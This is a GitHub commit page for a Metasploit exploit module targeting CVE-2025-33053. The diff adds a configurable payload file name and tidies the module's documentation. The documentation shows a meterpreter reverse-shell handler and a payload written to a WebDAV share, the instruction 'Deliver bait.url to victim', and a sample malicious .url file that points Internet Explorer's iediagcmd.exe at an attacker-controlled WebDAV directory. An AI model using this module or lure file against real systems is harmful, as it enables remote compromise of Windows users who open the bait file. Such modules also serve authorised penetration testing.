Skip to content

Commit 20b8a9f

Browse files
committed
Add some features and fix bugs for CVE-2025-33053 exploit module
1 parent 58609f3 commit 20b8a9f

File tree

2 files changed

+20
-12
lines changed

2 files changed

+20
-12
lines changed

documentation/modules/exploit/windows/fileformat/cve_2025_33053.md

Lines changed: 18 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -64,6 +64,10 @@ It supports:
6464

6565
Whether to generate payload and move to WebDAV directory (default: true)
6666

67+
### PAYLOAD_NAME
68+
69+
Output payload file name (default: route.exe)
70+
6771
### START_LISTENER
6872

6973
Whether to auto-start a Metasploit multi/handler (default: true)
@@ -104,46 +108,49 @@ You can use this module in:
104108

105109
## Example Usage
106110

107-
```console
111+
```
108112
use exploits/windows/fileformat/cve_2025_33053
109113
set LHOST 192.168.1.10
110114
run
111-
```console
115+
```
112116

113117
Optional:
114118

115-
```console
119+
```
116120
set WEBDAV_DIR /var/www/webdav
117121
set OUTFILE clickme.url
118122
set PAYLOAD windows/x64/meterpreter/reverse_http
119123
run
120-
```console
124+
```
121125

122126
## Output
123127

128+
```
124129
msf6 > use exploit/windows/fileformat/cve_2025_33053
125130
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
126131
msf6 exploit(windows/fileformat/cve_2025_33053) > set LHOST 192.168.1.15
127132
LHOST => 192.168.1.15
128-
msf6 exploit(windows/fileformat/cve_2025_33053) > run
133+
msf6 exploit(windows/fileformat/cve_2025_33053) > exploit
129134
[*] Started reverse TCP handler on 192.168.1.15:4444
130135
[*] Creating WebDAV directory if not exists...
131-
[+] Generating payload at: /var/www/webdav/payload.exe
132-
[+] Payload successfully written to /var/www/webdav/payload.exe
133-
[+] .URL file written to: /home/kali/bait.url
134-
[*] Module complete. Deliver /home/kali/bait.url to victim.
136+
[*] Generating payload...
137+
[+] Payload successfully written to /var/www/webdav/route.exe
138+
[*] Generating .URL file...
139+
[+] .URL file written to: bait.url
140+
[*] Module complete. Deliver /home/kali/metasploit-framework/bait.url to victim.
141+
```
135142

136143
Example .url file:
137144

138-
```console
145+
```
139146
[InternetShortcut]
140147
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
141148
WorkingDirectory=\\192.168.1.10\webdav\
142149
ShowCommand=7
143150
IconIndex=13
144151
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
145152
Modified=20F06BA06D07BD014D
146-
```console
153+
```
147154

148155
## References
149156

modules/exploits/windows/fileformat/cve_2025_33053.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,7 @@ def initialize(info = {})
3838
register_options(
3939
[
4040
OptString.new('OUTFILE', [true, 'Output URL file name', 'bait.url']),
41+
OptString.new('PAYLOAD_NAME', [true, 'Output payload file name', 'route.exe']),
4142
OptString.new('PAYLOAD', [true, 'Payload to generate', 'windows/x64/meterpreter/reverse_tcp']),
4243
OptBool.new('GEN_PAYLOAD', [true, 'Generate payload and move to WebDAV directory', true]),
4344
OptString.new('WEBDAV_DIR', [true, 'WebDAV directory path', '/var/www/webdav'])
@@ -74,7 +75,7 @@ def prepare_webdav_dir
7475
def generate_payload_if_needed
7576
return unless datastore['GEN_PAYLOAD']
7677

77-
exe_path = File.join(datastore['WEBDAV_DIR'], 'payload.exe')
78+
exe_path = File.join(datastore['WEBDAV_DIR'], datastore['PAYLOAD_NAME'])
7879
print_status('Generating payload...')
7980
generate_payload_exe(datastore['PAYLOAD'], datastore['LHOST'], datastore['LPORT'], exe_path)
8081
end

0 commit comments

Comments
 (0)